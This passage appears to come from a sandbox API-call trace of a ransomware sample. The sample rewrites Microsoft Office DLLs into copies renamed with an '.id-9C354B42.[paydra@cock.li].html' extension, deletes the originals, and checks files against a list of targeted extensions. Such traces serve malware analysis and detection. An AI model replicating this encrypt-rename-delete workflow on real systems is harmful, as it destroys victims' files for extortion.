Shared\\OFFICE14\\ACEODBC.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.933] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0060.933] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.933] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.933] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0060.934] GetLastError () returned 0x0 [0060.934] ReadFile (in: hFile=0x230, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x53bb0, lpOverlapped=0x0) returned 1 [0060.941] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x53bc0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x53bc0, lpOverlapped=0x0) returned 1 [0060.947] ReadFile (in: hFile=0x230, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.947] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xea, lpOverlapped=0x0) returned 1 [0060.947] SetEndOfFile (hFile=0x210) returned 1 [0060.947] CloseHandle (hObject=0x210) returned 1 [0060.947] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.947] SetEndOfFile (hFile=0x230) returned 1 [0060.950] CloseHandle (hObject=0x230) returned 1 [0060.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.951] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll")) returned 1 [0060.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0060.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0060.951] lstrlenW (lpString=".doc") returned 4 [0060.951] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.951] lstrlenW (lpString=".docx") returned 5 [0060.951] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0060.951] lstrlenW (lpString=".pdf") returned 4 [0060.951] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.951] lstrlenW (lpString=".xls") returned 4 [0060.951] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.951] lstrlenW (lpString=".xlsx") returned 5 [0060.951] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0060.951] lstrlenW (lpString=".ppt") returned 4 [0060.951] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0060.951] lstrlenW (lpString=".zip") returned 4 [0060.951] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.951] lstrlenW (lpString=".rar") returned 4 [0060.951] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.951] lstrlenW (lpString=".bz2") returned 4 [0060.951] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.951] lstrlenW (lpString=".7z") returned 3 [0060.952] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0060.952] lstrlenW (lpString=".dbf") returned 4 [0060.952] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0060.952] lstrlenW (lpString=".1cd") returned 4 [0060.952] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0060.952] lstrlenW (lpString=".jpg") returned 4 [0060.952] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0060.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0060.952] lstrlenW (lpString=".doc") returned 4 [0060.952] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.952] lstrlenW (lpString=".docx") returned 5 [0060.952] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0060.952] lstrlenW (lpString=".pdf") returned 4 [0060.952] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.952] lstrlenW (lpString=".xls") returned 4 [0060.952] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.952] lstrlenW (lpString=".xlsx") returned 5 [0060.952] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0060.952] lstrlenW (lpString=".ppt") returned 4 [0060.952] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0060.952] lstrlenW (lpString=".zip") returned 4 [0060.952] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.952] lstrlenW (lpString=".rar") returned 4 [0060.952] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.952] lstrlenW (lpString=".bz2") returned 4 [0060.952] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.953] lstrlenW (lpString=".7z") returned 3 [0060.953] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0060.953] lstrlenW (lpString=".dbf") returned 4 [0060.953] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0060.953] lstrlenW (lpString=".1cd") returned 4 [0060.953] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL") returned 67 [0060.953] lstrlenW (lpString=".jpg") returned 4 [0060.953] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.953] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0060.953] lstrlenW (lpString="ACEODDBS.DLL") returned 12 [0060.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0060.953] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=15800) returned 1 [0060.953] CloseHandle (hObject=0x230) returned 1 [0060.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll")) returned 0x20 [0060.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0060.954] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.954] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0060.954] GetLastError () returned 0x0 [0060.954] ReadFile (in: hFile=0x230, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x3db8, lpOverlapped=0x0) returned 1 [0060.959] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0060.959] ReadFile (in: hFile=0x230, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.960] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.960] SetEndOfFile (hFile=0x210) returned 1 [0060.960] CloseHandle (hObject=0x210) returned 1 [0060.960] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.960] SetEndOfFile (hFile=0x230) returned 1 [0060.961] CloseHandle (hObject=0x230) returned 1 [0060.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.961] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceoddbs.dll")) returned 1 [0060.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0060.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0060.961] lstrlenW (lpString=".doc") returned 4 [0060.961] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.961] lstrlenW (lpString=".docx") returned 5 [0060.961] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0060.961] lstrlenW (lpString=".pdf") returned 4 [0060.961] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.961] lstrlenW (lpString=".xls") returned 4 [0060.961] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.961] lstrlenW (lpString=".xlsx") returned 5 [0060.961] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0060.961] lstrlenW (lpString=".ppt") returned 4 [0060.962] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0060.962] lstrlenW (lpString=".zip") returned 4 [0060.962] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.962] lstrlenW (lpString=".rar") returned 4 [0060.962] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.962] lstrlenW (lpString=".bz2") returned 4 [0060.962] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.962] lstrlenW (lpString=".7z") returned 3 [0060.962] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0060.962] lstrlenW (lpString=".dbf") returned 4 [0060.962] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0060.962] lstrlenW (lpString=".1cd") returned 4 [0060.962] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0060.962] lstrlenW (lpString=".jpg") returned 4 [0060.962] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0060.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0060.962] lstrlenW (lpString=".doc") returned 4 [0060.962] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.962] lstrlenW (lpString=".docx") returned 5 [0060.962] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0060.962] lstrlenW (lpString=".pdf") returned 4 [0060.962] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.962] lstrlenW (lpString=".xls") returned 4 [0060.962] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.962] lstrlenW (lpString=".xlsx") returned 5 [0060.962] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0060.962] lstrlenW (lpString=".ppt") returned 4 [0060.962] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0060.962] lstrlenW (lpString=".zip") returned 4 [0060.963] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.963] lstrlenW (lpString=".rar") returned 4 [0060.963] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.963] lstrlenW (lpString=".bz2") returned 4 [0060.963] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.963] lstrlenW (lpString=".7z") returned 3 [0060.963] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0060.963] lstrlenW (lpString=".dbf") returned 4 [0060.963] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0060.963] lstrlenW (lpString=".1cd") returned 4 [0060.963] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODDBS.DLL") returned 68 [0060.963] lstrlenW (lpString=".jpg") returned 4 [0060.963] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.963] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0060.963] lstrlenW (lpString="ACEODEXL.DLL") returned 12 [0060.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0060.965] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=15800) returned 1 [0060.965] CloseHandle (hObject=0x230) returned 1 [0060.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll")) returned 0x20 [0060.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0060.965] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.965] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0060.966] GetLastError () returned 0x0 [0060.966] ReadFile (in: hFile=0x230, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x3db8, lpOverlapped=0x0) returned 1 [0060.971] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x3dc0, lpOverlapped=0x0) returned 1 [0060.972] ReadFile (in: hFile=0x230, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.972] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.972] SetEndOfFile (hFile=0x210) returned 1 [0060.972] CloseHandle (hObject=0x210) returned 1 [0060.972] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.972] SetEndOfFile (hFile=0x230) returned 1 [0060.973] CloseHandle (hObject=0x230) returned 1 [0060.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0060.973] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodexl.dll")) returned 1 [0060.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0060.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0060.974] lstrlenW (lpString=".doc") returned 4 [0060.974] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.974] lstrlenW (lpString=".docx") returned 5 [0060.974] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0060.974] lstrlenW (lpString=".pdf") returned 4 [0060.974] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.974] lstrlenW (lpString=".xls") returned 4 [0060.974] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.974] lstrlenW (lpString=".xlsx") returned 5 [0060.974] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0060.974] lstrlenW (lpString=".ppt") returned 4 [0060.974] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0060.974] lstrlenW (lpString=".zip") returned 4 [0060.974] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.974] lstrlenW (lpString=".rar") returned 4 [0060.974] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.974] lstrlenW (lpString=".bz2") returned 4 [0060.974] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.974] lstrlenW (lpString=".7z") returned 3 [0060.974] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0060.974] lstrlenW (lpString=".dbf") returned 4 [0060.974] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0060.974] lstrlenW (lpString=".1cd") returned 4 [0060.974] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0060.974] lstrlenW (lpString=".jpg") returned 4 [0060.974] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0060.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0060.974] lstrlenW (lpString=".doc") returned 4 [0060.975] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.975] lstrlenW (lpString=".docx") returned 5 [0060.975] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0060.975] lstrlenW (lpString=".pdf") returned 4 [0060.975] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.975] lstrlenW (lpString=".xls") returned 4 [0060.975] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.975] lstrlenW (lpString=".xlsx") returned 5 [0060.975] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0060.975] lstrlenW (lpString=".ppt") returned 4 [0060.975] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0060.975] lstrlenW (lpString=".zip") returned 4 [0060.975] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.975] lstrlenW (lpString=".rar") returned 4 [0060.975] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.975] lstrlenW (lpString=".bz2") returned 4 [0060.975] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.975] lstrlenW (lpString=".7z") returned 3 [0060.975] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0060.975] lstrlenW (lpString=".dbf") returned 4 [0060.975] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0060.975] lstrlenW (lpString=".1cd") returned 4 [0060.975] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODEXL.DLL") returned 68 [0060.975] lstrlenW (lpString=".jpg") returned 4 [0060.975] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.975] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0060.976] lstrlenW (lpString="ACEODTXT.DLL") returned 12 [0060.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0060.976] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=15800) returned 1 [0060.976] CloseHandle (hObject=0x230) returned 1 [0060.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll")) returned 0x20 [0060.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0060.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODTXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodtxt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0060.976] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.976] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, 